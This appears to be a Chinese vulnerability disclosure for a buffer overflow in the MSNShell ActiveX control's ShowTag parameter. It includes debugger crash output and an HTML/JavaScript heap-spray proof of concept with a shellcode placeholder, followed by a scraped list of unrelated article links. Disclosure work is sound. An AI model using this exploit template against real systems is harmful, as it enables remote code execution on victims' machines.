msnshell远程代码执行漏洞

简要描述：
msnshell是国内一款多功能的msn辅助工具，有着方便而强大聊天加密功能，使其用户群非常广泛，但是该应用有一些已存在多年的远程代码执行漏洞。

详细说明：
问题出在msnshell的activex控件上
ClassID : 20FD1EBC-A607-4C18-9F18-0233EF4D7234
File : MSNShellSDK.dll

ShowTag以及其他部分参数对数据长度的过滤不足，当长度为540字节左右的时候造成缓冲区溢出，控制程序流程。

PS:不只是这一个参数有漏洞！

7C923297    FF75 14         push    dword ptr [ebp+14]  7C92329A    FF75 10         push    dword ptr [ebp+10]  7C92329D    FF75 0C         push    dword ptr [ebp+C]  7C9232A0    FF75 08         push    dword ptr [ebp+8]  7C9232A3    8B4D 18         mov     ecx, dword ptr [ebp+18]  7C9232A6    FFD1            call    ecx   <-- exploit it!  7C9232A8    64:8B25 0000000>mov     esp, dword ptr fs:[0]  7C9232AF    64:8F05 0000000>pop     dword ptr fs:[0]  7C9232B6    8BE5            mov     esp, ebp  7C9232B8    5D              pop     ebp  7C9232B9    C2 1400         retn    14  eax=7ffd3000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005  eip=7c92120e esp=0118ffcc ebp=0118fff4 iopl=0         nv up ei pl zr na po nc  cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000246  *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\W  INDOWS\system32\ntdll.dll -  ntdll!DbgBreakPoint:  7c92120e cc               int     3  0:007> g  url:ModLoad: 753b0000 75421000   C:\WINDOWS\system32\mshtmled.dll  url:ModLoad: 76320000 76367000   C:\WINDOWS\system32\comdlg32.dll  ModLoad: 76960000 76984000   C:\WINDOWS\system32\ntshrui.dll  ModLoad: 76af0000 76b01000   C:\WINDOWS\system32\ATL.DLL  ModLoad: 759d0000 75a7f000   C:\WINDOWS\system32\USERENV.dll  ModLoad: 76950000 76958000   C:\WINDOWS\system32\LINKINFO.dll  url:ModLoad: 76b10000 76b3a000   C:\WINDOWS\system32\WINMM.dll  ModLoad: 5dba0000 5dba8000   C:\WINDOWS\system32\rdpsnd.dll  ModLoad: 762d0000 762e0000   C:\WINDOWS\system32\WINSTA.dll  ModLoad: 76f20000 76f28000   C:\WINDOWS\system32\Wtsapi32.dll  ModLoad: 72c80000 72c88000   C:\WINDOWS\system32\msacm32.drv  ModLoad: 77bb0000 77bc5000   C:\WINDOWS\system32\MSACM32.dll  ModLoad: 03070000 0311f000   C:\PROGRA~1\MSNShell\BIN\MSNSHE~1.DLL  ModLoad: 5efe0000 5eff7000   C:\WINDOWS\system32\olepro32.dll  ModLoad: 75bc0000 75c3d000   C:\WINDOWS\system32\JScript.dll  Access violation - code c0000005 (first chance)  eax=41414141 ebx=41414141 ecx=00000000 edx=41414141 esi=0012dfc8 edi=00000000  eip=030746b0 esp=0012dea8 ebp=0012e0d4 iopl=0         nv up ei pl nz na po nc  cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206  *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\P  ROGRA~1\MSNShell\BIN\MSNSHE~1.DLL -  MSNSHE~1+46b0:  030746b0 8b40fc           mov     eax,[eax-0x4]     ds:0023:4141413d=????????  0:000> g  Access violation - code c0000005 (first chance)  eax=00000000 ebx=00000000 ecx=41414141 edx=7c9232bc esi=00000000 edi=00000000  eip=41414141 esp=0012dad8 ebp=0012daf8 iopl=0         nv up ei pl zr na po nc  cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246  41414141 ??               ???  0:000> d eip  41414141  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????  41414151  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????  41414161  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????  41414171  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????  41414181  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????  41414191  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????  414141a1  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????  414141b1  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????  0:000>

msnshell远程代码执行漏洞_第1张图片

漏洞证明：
POC很简单，让程序call到0x0c0c0c0c去，使用堆喷射技术即可。

<html>  <object classid="clsid:BFB06F62-190C-42F6-91B1-3CB03560FE2D" id='target'></object>  <body>  <SCRIPT language="JavaScript">  var shellcode = unescape("you shellcode is here");  var bigblock = unescape("%u0C0C%u0C0C");  var headersize = 20;  var slackspace = headersize+shellcode.length;  while (bigblock.length<slackspace) bigblock+=bigblock;  fillblock = bigblock.substring(0, slackspace);  block = bigblock.substring(0, bigblock.length-slackspace);  while(block.length+slackspace<0x40000) block = block+block+fillblock;  memory = new Array();  for (x=0; x<350; x++) memory[x] = block +shellcode;  var buffer = '';  while (buffer.length < 540 ) buffer+='\x0C\x0C\x0C\x0C';  target.ShowTag(buffer);  </script>  </body>  </html>

修复方案：
you know.

你可能感兴趣的:(shell)

  • 部署前端的脚本
    #!/bin/bash#声明使用Bashshell执行脚本#定义常量PROJECT_NAME="blackboard"#项目名称WORK_DIR="/workspace/nginx"#工作目录路径#获取当前日期和时间戳current_timestamp=$(date+"%Y%m%d%H%M%S")#生成格式为年月日时分秒的时间戳（示例：20250623153045）cd"$WORK_DIR"||e
  • DeepSeek私有化部署3：openEuler 24.03-LTS-SP1国产化操作系统安装nVidia驱动
    上一篇文章中完成了国产化操作系统openEuler24.03-LTS-SP1的安装和IP地址配置，配置完成后，就回到了办公室用shell工具连接服务器开始操作了安装好新的操作系统第一步先更新一下#yum源更新sudoyum-yupdate显卡驱动下载因为在服务器上安装了6块teslaT4显卡，先看一下服务器识别到显卡没有#查看操作系统是否识别到了nVidia的显卡lspci|grep-iNVIDI
  • vue | 不同系统 清理文件的方式 要加油哦～ 问题导向vue项目笔记vue.js前端javascript
    省流总结：清理文件的几种写法：①手动清理dist文件rm-rfdist（mas的写法），在重新运行npmrunbuild②rd/s/q要删除的文件名（Windows的CMD写法）③Remove-Item-Recurse-Force要删除的文件名（✔WindowsPowerShell的写法）【vue常用写法，注意是强制删除！不要删除错了】-Recurse：递归删除-Force：强制删除（包括只读文件
  • ubuntu2404命令备忘录 Eva215665 gitcode
    ubuntu基础概念什么是BashShellBashShell‌（全称‌Bourne-AgainSHell‌）是Linux和macOS等类Unix系统中‌最常用的命令行解释器‌，也是Ubuntu的默认Shell。它既是用户与操作系统内核交互的“翻译官”，也是一种强大的脚本编程语言。用户输入文本命令（如ls、cd）→‌Bash解析并执行‌→调用系统内核功能（如文件操作、进程管理）→返回结果到终端‌。
  • 【基础】Golang 执行命令shell命令 + Start和Run方法详解 锅锅来了 Golang运维开发实战手册golang服务器linux
    目录Go语言中Cmd的Start和Run方法详解及Start方法使用示例一、Start()和Run()方法的区别1.Start()方法2.Run()方法3.关键区别对比二、Start()方法使用示例示例：实时获取命令输出三、Run()方法使用示例四、关键注意事项Go语言中Cmd的Start和Run方法详解及Start方法使用示例在Go语言的os/exec包中，Cmd结构体提供了两种执行命令的方法：
  • android开发 执行adb shell settings命令提示没有权限
    开始检查权限执行命令结束Android开发执行adbshellsettings命令权限问题解决方法概述在Android开发中，有时候我们需要通过adbshell命令来修改设备的一些参数。但是在执行adbshellsettings命令时可能会提示没有权限的问题，这时就需要进行一些处理来解决这个权限问题。解决流程下面是解决这个权限问题的流程，我们通过以下几个步骤来完成：步骤操作1检查权限2执行命令1.
  • adb shell中执行system用户权限命令的方法 OneT1me adb
    做系统开发的过程中经常需要抓取一下只有system组才能拿到的信息，而这个时候一般用户使用的是user版本，问题又很难复现，这个时候刷机可能信息都没有了，所以产生了一个需求，在adbshell里面以system权限执行命令，下面提供了一个这个办法，前提是你拥有系统签名，我们开发一个程序，在AndroidManifest.xml里面配置systemuid然后在build.gradle里面加上系统签名
  • Nginx负载均衡详解_nginx负载均衡配置详解
    为了做好运维面试路上的助攻手，特整理了上百道【运维技术栈面试题集锦】，让你面试不慌心不跳，高薪offer怀里抱！这次整理的面试题，小到shell、MySQL，大到K8s等云原生技术栈，不仅适合运维新人入行面试需要，还适用于想提升进阶跳槽加薪的运维朋友。本份面试集锦涵盖了174道运维工程师面试题128道k8s面试题108道shell脚本面试题200道Linux面试题51道docker面试题35道Je
  • 常用指令合集（DOS/Linux/git/Maven等）
    文章目录常用指令收集vmware虚拟机联网设置ubuntu常见问题设置apt相关指令：gcc编译相关指令sqlite3VSCode快捷键：收索引擎技巧（google）Intelideashell--LinxvimgitDOS:mavendockerkubectl指令nginx配置redis-clientMySQLlinux下java进程排错MongoDBCentOSJDK安装配置UbuntuJDK
  • Android Profiler 丢帧分析教程及案例 summerkissyou1987 android
    以下为基于最新实践的‌AndroidProfiler丢帧分析全流程指南及实战案例‌，结合权威技术文档与优化经验（2025年更新）：一、Profiler丢帧分析核心流程环境配置与数据抓取‌bashCopyCode启用GPU渲染分析（开发者选项）adbshellsettingsputglobalgpu_debug_layers1adbshellsettingsputglobalgpu_debug_ap
  • Github 2025-07-01 开源项目月报 Top16
    根据GithubTrendings的统计，本月(2025-07-01统计)共有16个项目上榜。根据开发语言中项目的数量，汇总情况如下：开发语言项目数量TypeScript项目5JupyterNotebook项目4Python项目4Rust项目2JavaScript项目1非开发语言项目1Shell项目1Dockerfile项目1Java项目1C++项目1Vue项目1各种有趣主题的精彩清单创建周期：3
  • 【Rust日报】2025年全球有哪些Rust大会
    vekos-又一个Rust写的实验性OSVEKOS是一个用Rust语言编写的实验性操作系统,目前处于0.0.1的alpha版本。它专注于在内核中引入验证和安全性。主要特性包括:使用加密证明系统验证所有文件系统和内存操作。使用伙伴分配器及Copy-on-Write支持的安全内存管理。实现了基本的shell,支持命令历史和行编辑。使用Merkle树进行验证的文件系统(VKFS)。基本的进程管理、调度和
  • [ 渗透测试面试篇 ] 渗透测试面试题大集合(详解)（4-2）XSS注入相关面试题 寒蝉听雨[原ID_PowerShell] 面试总结渗透测试自学篇渗透测试面试分享渗透测试升职加薪网络安全XSS注入面试题网络安全面试题1024程序员节
    博主介绍‍博主介绍：大家好，我是_PowerShell，很高兴认识大家~✨主攻领域：【渗透领域】【数据通信】【通讯安全】【web安全】【面试分析】点赞➕评论➕收藏==养成习惯（一键三连）欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋作者水平有限，欢迎各位大佬指点，相互学习进步！渗透方向的岗位，涉及到的知识点是很广泛的。这里我总结了整个一系列的面试题，可能没有覆盖到全部的知识面，但是应该是比较全面的
  • linux系统编程——Makefile、GDB调试 舒克起飞了 linux运维服务器
    Makefilemakefile定义了一系列的规则来指定哪些文件需要先编译，哪些文件需要后编译，哪些文件需要重新编译，甚至于进行更复杂的功能操作，因为makefile文件就像一个shell脚本一样，也可以执行操作系统的命令。自动化编译，只要一个make命令，整个工程完全自动编译。规则一个makefile文件中可以有一个或者多个规则目标...:依赖...命令（shell命令）...目标：最终要生成的
  • FinalShell 4：Linux系统SSH连接与远程管理工具应用指南 虾仁芝麻卷
    本文还有配套的精品资源，点击获取简介：FinalShell4是专为Linux系统打造的集成化远程管理工具，以其强大的SSH连接功能著称，支持多种操作系统平台。该软件集成了丰富的终端模拟、会话管理、文件传输和性能优化等特性，提高了IT运维的效率和安全性。其内置的脚本支持和实时监控功能进一步加强了服务器管理的自动化和便捷性，使其成为IT专业人员的得力助手。1.SSH连接与安全远程操作SSH（Secur
  • linux操作系统笔记1 wu2790 linux笔记服务器
    基本命令格式[redhat@localhost~]$$:使用的shell，$表示普通用户，#表示root（管理员）用户redhat：表示当前登录的用户，su(-)切换用户，whoami查看当前登录的用户localhost：表示主机名称，hostname查看主机名称，还可以临时修改（hostname英文名称）,永久修改（hostnamectlset-hostname英文名称）~：表示当前的工作目录,
  • git和解决冲突 代码杂货铺子 gitgitlab
    安装包：Git-Downloadsgit小乌龟：TortoiseGit–WindowsShellInterfacetoGit简单介绍git一般指git还有gitlab,实际工程使用时依据项目建立的位置或者需要使用到的特性不同，可以自行选择，基础功能都差不多。git安装后会提供类似shell一样的命令行管理工具，直接在git工程所在的目录右键鼠标单击打开就可以。TortoiseGit是提供了一个类似
  • tauri v2 开源项目学习（一）
    前言:tauri2编程，前端部分和electron差不多，框架部分差别大，资料少，官网乱，AI又骗我所以在gitee上，寻找tauriv2开源项目，通过记录框架部分与rust部分的写法，对照确定编程方式提示：不要在VSCode里自动运行Cargo，在powershell里运行Cargobuild，不会卡住1.tauri-desktophttps://gitee.com/MapleKing/taur
  • 【模型部署】如何在Linux中通过脚本文件部署模型 满怀1015 人工智能linux网络人工只能模型部署
    在Linux中，你可以将部署命令保存为可执行脚本文件，并通过终端直接调用。以下是几种常见且实用的方法：方法1：Shell脚本（推荐）步骤创建一个.sh文件（例如start_vllm.sh）：#!/bin/bashCUDA_VISIBLE_DEVICES=7\python-mvllm.entrypoints.openai.api_server\--served-model-nameQwen2-7B-
  • WPF实现一个播放音乐和视频的应用 code_shenbing WPFwpf音视频C#
    一、项目准备创建WPF项目在VisualStudio中新建WPFApp(.NETFramework)项目命名为"MediaPlayerApp"添加必要的NuGet包Install-PackageMicrosoft.WindowsAPICodePack-ShellInstall-PackageTagLibSharp二、界面设计1.主窗口XAML(MainWindow.xaml)三、代码实现1.主窗口
  • 情感反诈模拟器免费下载 2501_92600974 游戏游戏程序
    捞女游戏下载安装教程（完整图文+激活码）最近大火的捞女游戏你还没玩？本文手把手教你下载安装，附激活码与两种安装方法，图文详细，轻松上手！目录方法一：一键安装（适合新手）方法二：使用PowerShell安装（适合熟练用户）✅方法一：一键安装（适合新手）下载地址：点击下载（蓝奏云）提取码：cn6h解压后运行.exe安装程序安装完成后游戏会自动添加到Steam游戏库中⚙方法二：使用PowerShell安
  • SHELL/SSH基础知识（入门篇）-包含 shell 脚本语言的基本用法、 shell 脚本语言的基本用法、流程控制、函数 function、其它脚本相关工具、数组 array(欢迎留言交流) 云计算小曹同学 正则表达式centoslinux运维ssh
    目录1shell脚本语言的基本用法1.1shell脚本注释规范1.1.1shell脚本注释规范1.1.2执行（5种）1.1.3在远程主机运行本地脚本1.1.4检查shell脚本1.2shell变量1.2.1Shell中变量命名法则1.2.2变量赋值与引用1.2.3环境变量的查看设置和删除1.2.4只读变量1.2.5位置变量1.2.6退出状态码变量1.2.7展开命令行1.3退出状态码变量1.4展开命
  • 【Linux基础知识系列】第四十篇 - 定制彩色终端与 Prompt 望获linux Linux基础知识系列chrome前端嵌入式软件linux开源软件运维操作系统
    在使用Linux终端时，一个清晰、易读且个性化的命令提示符（Prompt）可以显著提升工作效率和用户体验。通过定制终端的颜色和提示符，用户可以更直观地获取系统信息，同时也能让终端界面更具个性化。本文将介绍如何通过PS1变量、ANSI颜色码以及常见插件（如bash-completion）来打造一个易读且美观的命令提示符。核心概念PS1变量PS1是BashShell中的一个环境变量，用于定义命令提示符
  • Windows PowerShell中无法将"python"项识别为cmdlet、函数、脚本文件或可运行程序的名称 xqhrs232 ROS系统/Python
    原文地址::https://blog.csdn.net/Blateyang/article/details/86421594相关文章1、如何在Powershell中运行python程序?----https://cloud.tencent.com/developer/ask/1426072、Windows下如何方便的运行py脚本----https://blog.csdn.net/Naisu_kun/
  • 解决VSCode打开最近项目后终端shell不正常的问题 sunrise_ccx vscodeide编辑器
    背景：平时喜欢使用oh-my-zsh作为终端shell，每次打开recentproject，恢复的终端的shell就变了，很难用。(base)➜playground*Historyrestored97e5bbd1bd58#解法：一种直观解法是，关闭terminal，新开一个。有点麻烦，而且过往历史也没了。另一种解法是，在设置里面，搜索terminal.integrated.defaultProfi
  • [ vulhub漏洞复现篇 ] Drupal XSS漏洞 (CVE-2019-6341) 寒蝉听雨[原ID_PowerShell] [靶场实战]vulhubvulhub漏洞复现DrupalXSS漏洞CVE-2019-6341渗透测试网络安全
    博主介绍‍博主介绍：大家好，我是_PowerShell，很高兴认识大家~✨主攻领域：【渗透领域】【数据通信】【通讯安全】【web安全】【面试分析】点赞➕评论➕收藏==养成习惯（一键三连）欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋作者水平有限，欢迎各位大佬指点，相互学习进步！文章目录博主介绍一、漏洞编号二、影响范围三、漏洞描述四、环境搭建1、进入CVE-2019-6341环境2、启动CVE-20
  • ubuntu编译 aosp for x86, windows avd启动 aosp-qemu镜像 鲁班king666 ubuntuwindowslinux
    编译aosp给出编译脚本10:38:36test@server:~/workspace/shell/build$catbuild_emulater.sh#!/bin/bashcd/home/suhui/workspace/aosp/x86_emulater/sourcebuild/envsetup.shlunchsdk_phone_x86_64-userdebugmake-j12810:38:39
  • 环境模块：全面掌握Shell环境变量与别名管理 薯条说影
    本文还有配套的精品资源，点击获取简介：环境模块是一个开源工具，用于在不同软件环境中切换，通过管理和配置Shell的环境变量与别名来实现。适用于科学计算、软件开发和系统管理，便于多版本库和应用程序的管理。模块文件定义环境设置，保证加载新环境时不会干扰现有设置。安装后，通过简单的module命令来管理环境。此工具在处理复杂依赖关系和多版本软件环境中不可或缺，社区支持确保了其不断改进。1.环境模块工具简
  • Windows PowerShell 执行脚本输出文件编码格式 qr457535344 windowspowershell
    WindowsPowerShell输出重定向(“>”)文件编码默认为UTF-16(LE)问题对比linux中执行脚本的输出文件（txt），WindowsPowerShell的输出文件大小大约是前者的两倍。这是因为对于文件的输出重定向默认选择”UTF-16(LE)”(微软称之为Unicode编码)，而实际需要文件输出格式为”UTF-8”。如果想一劳永逸的解决这个问题，最好是直接设置WindowsPo
  • windows11安装node.js，选择同时安装Chocolatey包管理工具 xinhuanjieyi node.js
    https://nodejs.org/dist/v21.1.0/node-v21.1.0-x64.msi下载，安装到D:\ide\node.js我勾选了安装Chocolatey包管理工具，默认没打勾弹出powershell命令窗口，安装过程中python程序安装报错实际上电脑里已经安装了python多个版本，环境变量都配好了，不知道为什么这个安装工具说没检测到python。以下是窗口信息：Forc
  • windows下源码安装golang 616050468 golang安装golang环境windows
             系统： 64位win7， 开发环境：sublime text 2，  go版本： 1.4.1    1.  安装前准备(gcc, gdb, git)        golang在64位系
  • redis批量删除带空格的key bylijinnan redis
    redis批量删除的通常做法： redis-cli keys "blacklist*" | xargs redis-cli del 上面的命令在key的前后没有空格时是可以的，但有空格就不行了： $redis-cli keys "blacklist*" 1) "blacklist:12: [email protected]
  • oracle正则表达式的用法 0624chenhong oracle正则表达式
      方括号表达示 方括号表达式 描述 [[:alnum:]] 字母和数字混合的字符 [[:alpha:]] 字母字符 [[:cntrl:]] 控制字符 [[:digit:]] 数字字符 [[:graph:]] 图像字符 [[:lower:]] 小写字母字符 [[:print:]] 打印字符 [[:punct：]] 标点符号字符 [[:space:]]
  • 2048源码(核心算法有，缺少几个anctionbar，以后补上) 不懂事的小屁孩 2048
    2048游戏基本上有四部分组成， 1：主activity，包含游戏块的16个方格，上面统计分数的模块 2：底下的gridview，监听上下左右的滑动，进行事件处理， 3：每一个卡片，里面的内容很简单，只有一个text，记录显示的数字 4：Actionbar，是游戏用重新开始，设置等功能(这个在底下可以下载的代码里面还没有实现) 写代码的流程 1：设计游戏的布局，基本是两块，上面是分
  • jquery内部链式调用机理 换个号韩国红果果 JavaScriptjquery
    只需要在调用该对象合适(比如下列的setStyles)的方法后让该方法返回该对象（通过this  因为一旦一个函数称为一个对象方法的话那么在这个方法内部this（结合下面的setStyles）指向这个对象） function create(type){ var element=document.createElement(type); //this=element;
  • 你订酒店时的每一次点击 背后都是NoSQL和云计算 蓝儿唯美 NoSQL
    全球最大的在线旅游公司Expedia旗下的酒店预订公司，它运营着89个网站，跨越68个国家，三年前开始实验公有云，以求让客户在预订网站上查询假期酒店时得到更快的信息获取体验。 云端本身是用于驱动网站的部分小功能的，如搜索框的自动推荐功能，还能保证处理Hotels.com服务的季节性需求高峰整体储能。 Hotels.com的首席技术官Thierry Bedos上个月在伦敦参加“2015 Clou
  • java笔记1 a-john java
    1，面向对象程序设计（Object-oriented Propramming，OOP）：java就是一种面向对象程序设计。 2，对象：我们将问题空间中的元素及其在解空间中的表示称为“对象”。简单来说，对象是某个类型的实例。比如狗是一个类型，哈士奇可以是狗的一个实例，也就是对象。 3，面向对象程序设计方式的特性：     3.1 万物皆为对象。    
  • C语言 sizeof和strlen之间的那些事 C/C++软件开发求职面试题 必备考点（一） aijuans C/C++求职面试必备考点
            找工作在即，以后决定每天至少写一个知识点，主要是记录，逼迫自己动手、总结加深印象。当然如果能有一言半语让他人收益，后学幸运之至也。如有错误，还希望大家帮忙指出来。感激不尽。        后学保证每个写出来的结果都是自己在电脑上亲自跑过的，咱人笨，以前学的也半吊子。很多时候只能靠运行出来的结果再反过来
  • 程序员写代码时就不要管需求了吗？ asia007 程序员不能一味跟需求走
          编程也有2年了，刚开始不懂的什么都跟需求走，需求是怎样就用代码实现就行，也不管这个需求是否合理，是否为较好的用户体验。当然刚开始编程都会这样，但是如果有了2年以上的工作经验的程序员只知道一味写代码，而不在写的过程中思考一下这个需求是否合理，那么，我想这个程序员就只能一辈写敲敲代码了。       我的技术不是很好，但是就不代
  • Activity的四种启动模式 百合不是茶 android栈模式启动Activity的标准模式启动栈顶模式启动单例模式启动
    android界面的操作就是很多个activity之间的切换,启动模式决定启动的activity的生命周期 ;   启动模式xml中配置     <activity android:name=".MainActivity" android:launchMode="standard&quo
  • Spring中@Autowired标签与@Resource标签的区别 bijian1013 javaspring@Resource@Autowired@Qualifier
    Spring不但支持自己定义的@Autowired注解，还支持由JSR-250规范定义的几个注解，如：@Resource、 @PostConstruct及@PreDestroy。   1. @Autowired    @Autowired是Spring 提供的，需导入    Package:org.springframewo
  • Changes Between SOAP 1.1 and SOAP 1.2 sunjing ChangesEnableSOAP 1.1SOAP 1.2
    JAX-WS SOAP Version 1.2 Part 0: Primer (Second Edition) SOAP Version 1.2 Part 1: Messaging Framework (Second Edition) SOAP Version 1.2 Part 2: Adjuncts (Second Edition)   Which style of WSDL
  • 【Hadoop二】Hadoop常用命令 bit1129 hadoop
    以Hadoop运行Hadoop自带的wordcount为例，   hadoop脚本位于/home/hadoop/hadoop-2.5.2/bin/hadoop，需要说明的是，这些命令的使用必须在Hadoop已经运行的情况下才能执行   Hadoop HDFS相关命令  hadoop fs -ls  列出HDFS文件系统的第一级文件和第一级
  • java异常处理（初级） 白糖_ javaDAOspring虚拟机Ajax
    从学习到现在从事java开发一年多了，个人觉得对java只了解皮毛，很多东西都是用到再去慢慢学习，编程真的是一项艺术，要完成一段好的代码，需要懂得很多。 最近项目经理让我负责一个组件开发，框架都由自己搭建，最让我头疼的是异常处理，我看了一些网上的源码，发现他们对异常的处理不是很重视，研究了很久都没有找到很好的解决方案。后来有幸看到一个200W美元的项目部分源码，通过他们对异常处理的解决方案，我终
  • 记录整理-工作问题 braveCS 工作
    1）那位同学还是CSV文件默认Excel打开看不到全部结果。以为是没写进去。同学甲说文件应该不分大小。后来log一下原来是有写进去。只是Excel有行数限制。那位同学进步好快啊。 2）今天同学说写文件的时候提示jvm的内存溢出。我马上反应说那就改一下jvm的内存大小。同学说改用分批处理了。果然想问题还是有局限性。改jvm内存大小只能暂时地解决问题，以后要是写更大的文件还是得改内存。想问题要长远啊
  • org.apache.tools.zip实现文件的压缩和解压，支持中文 bylijinnan apache
    刚开始用java.util.Zip，发现不支持中文（网上有修改的方法，但比较麻烦） 后改用org.apache.tools.zip org.apache.tools.zip的使用网上有更简单的例子 下面的程序根据实际需求，实现了压缩指定目录下指定文件的方法 import java.io.BufferedReader; import java.io.BufferedWrit
  • 读书笔记-4 chengxuyuancsdn 读书笔记
    1、JSTL 核心标签库标签 2、避免SQL注入 3、字符串逆转方法 4、字符串比较compareTo 5、字符串替换replace 6、分拆字符串 1、JSTL 核心标签库标签共有13个， 学习资料：http://www.cnblogs.com/lihuiyy/archive/2012/02/24/2366806.html 功能上分为4类： (1)表达式控制标签：out
  • [物理与电子]半导体教材的一个小问题 comsci 问题
          各种模拟电子和数字电子教材中都有这个词汇-空穴       书中对这个词汇的解释是; 当电子脱离共价键的束缚成为自由电子之后,共价键中就留下一个空位,这个空位叫做空穴       我现在回过头翻大学时候的教材,觉得这个
  • Flashback Database --闪回数据库 daizj oracle闪回数据库
    Flashback 技术是以Undo segment中的内容为基础的， 因此受限于UNDO_RETENTON参数。要使用flashback 的特性，必须启用自动撤销管理表空间。 在Oracle 10g中， Flash back家族分为以下成员： Flashback Database， Flashback Drop，Flashback Query(分Flashback Query,Flashbac
  • 简单排序:插入排序 dieslrae 插入排序
    public void insertSort(int[] array){ int temp; for(int i=1;i<array.length;i++){ temp = array[i]; for(int k=i-1;k>=0;k--)
  • C语言学习六指针小示例、一维数组名含义，定义一个函数输出数组的内容 dcj3sjt126com c
    # include <stdio.h> int main(void) { int * p; //等价于 int *p 也等价于 int* p; int i = 5; char ch = 'A'; //p = 5; //error //p = &ch; //error //p = ch; //error p = &i; //
  • centos下php redis扩展的安装配置3种方法 dcj3sjt126com redis
    方法一 1.下载php redis扩展包  代码如下 复制代码 #wget http://redis.googlecode.com/files/redis-2.4.4.tar.gz 2 tar -zxvf 解压压缩包，cd /扩展包 （进入扩展包然后 运行phpize 一下是我环境中phpize的目录，/usr/local/php/bin/phpize (一定要
  • 线程池(Executors) shuizhaosi888 线程池
    在java类库中，任务执行的主要抽象不是Thread，而是Executor，将任务的提交过程和执行过程解耦 public interface Executor { void execute(Runnable command); }   public class RunMain implements Executor{ @Override pub
  • openstack 快速安装笔记 haoningabc openstack
    前提是要配置好yum源 版本icehouse，操作系统redhat6.5 最简化安装，不要cinder和swift 三个节点 172 control节点keystone glance horizon 173 compute节点nova 173 network节点neutron control /etc/sysctl.conf net.ipv4.ip_forward =
  • 从c面向对象的实现理解c++的对象（二） jimmee C++面向对象虚函数
    1. 类就可以看作一个struct，类的方法，可以理解为通过函数指针的方式实现的，类对象分配内存时，只分配成员变量的，函数指针并不需要分配额外的内存保存地址。 2. c++中类的构造函数，就是进行内存分配(malloc)，调用构造函数 3. c++中类的析构函数，就时回收内存(free) 4. c++是基于栈和全局数据分配内存的，如果是一个方法内创建的对象，就直接在栈上分配内存了。 专门在
  • 如何让那个一个div可以拖动 lingfeng520240 html
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml
  • 第10章 高级事件（中） onestopweb 事件
    index.html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/
  • 计算两个经纬度之间的距离 roadrunners 计算纬度LBS经度距离
    要解决这个问题的时候，到网上查了很多方案，最后计算出来的都与百度计算出来的有出入。下面这个公式计算出来的距离和百度计算出来的距离是一致的。 /** * * @param longitudeA * 经度A点 * @param latitudeA * 纬度A点 * @param longitudeB *
  • 最具争议的10个Java话题 tomcat_oracle java
    1、Java8已经到来。什么！？ Java8 支持lambda。哇哦，RIP Scala！ 　　随着Java8 的发布，出现很多关于新发布的Java8是否有潜力干掉Scala的争论，最终的结论是远远没有那么简单。Java8可能已经在Scala的lambda的包围中突围，但Java并非是函数式编程王位的真正觊觎者。 　 　2、Java 9 即将到来 　　 Oracle早在8月份就发布
  • zoj 3826 Hierarchical Notation(模拟) 阿尔萨斯 rar
    题目链接：zoj 3826 Hierarchical Notation 题目大意：给定一些结构体，结构体有value值和key值，Q次询问，输出每个key值对应的value值。 解题思路：思路很简单，写个类词法的递归函数，每次将key值映射成一个hash值，用map映射每个key的value起始终止位置，预处理完了查询就很简单了。 这题是最后10分钟出的，因为没有考虑value为{}的情
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他